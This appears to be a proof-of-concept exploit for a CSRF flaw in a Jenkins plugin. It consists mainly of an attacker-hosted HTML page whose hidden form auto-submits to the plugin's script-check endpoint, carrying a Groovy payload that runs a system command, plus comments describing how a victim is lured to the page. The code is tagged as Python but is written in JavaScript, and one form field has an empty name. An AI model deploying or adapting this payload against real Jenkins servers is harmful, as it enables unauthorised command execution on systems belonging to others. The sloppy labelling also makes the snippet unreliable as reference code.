The following code is for security research and authorized testing only.
python
// CVE-2025-64133 CSRF PoC for Jenkins Extensible Choice Parameter Plugin
// This PoC demonstrates how an attacker can trick a Jenkins user into executing
// sandboxed Groovy code through a CSRF attack.
// Malicious HTML page that the attacker would host
const pocHtml = `
<!DOCTYPE html>
<html>
<head>
<title>Jenkins CSRF Exploit - CVE-2025-64133</title>
</head>
<body>
<h1>Loading...</h1>
<form id="exploit" action="http://TARGET-JENKINS/descriptorByName/org.jenkinsci.plugins.extensiblechoiceparameter.ParameterDescriber/checkScript" method="POST">
<input type="hidden" name="script" value="println 'whoami'.execute().text">
<input type="hidden" name="" value="">
</form>
<script>
document.getElementById('exploit').submit();
</script>
</body>
</html>
`;
// Attack flow:
// 1. Attacker creates a malicious page containing auto-submit form
// 2. Attacker tricks Jenkins user into visiting the page
// 3. Browser automatically sends authenticated request to Jenkins
// 4. Jenkins executes the Groovy script in sandbox context
// 5. Results may be reflected back to attacker via various channels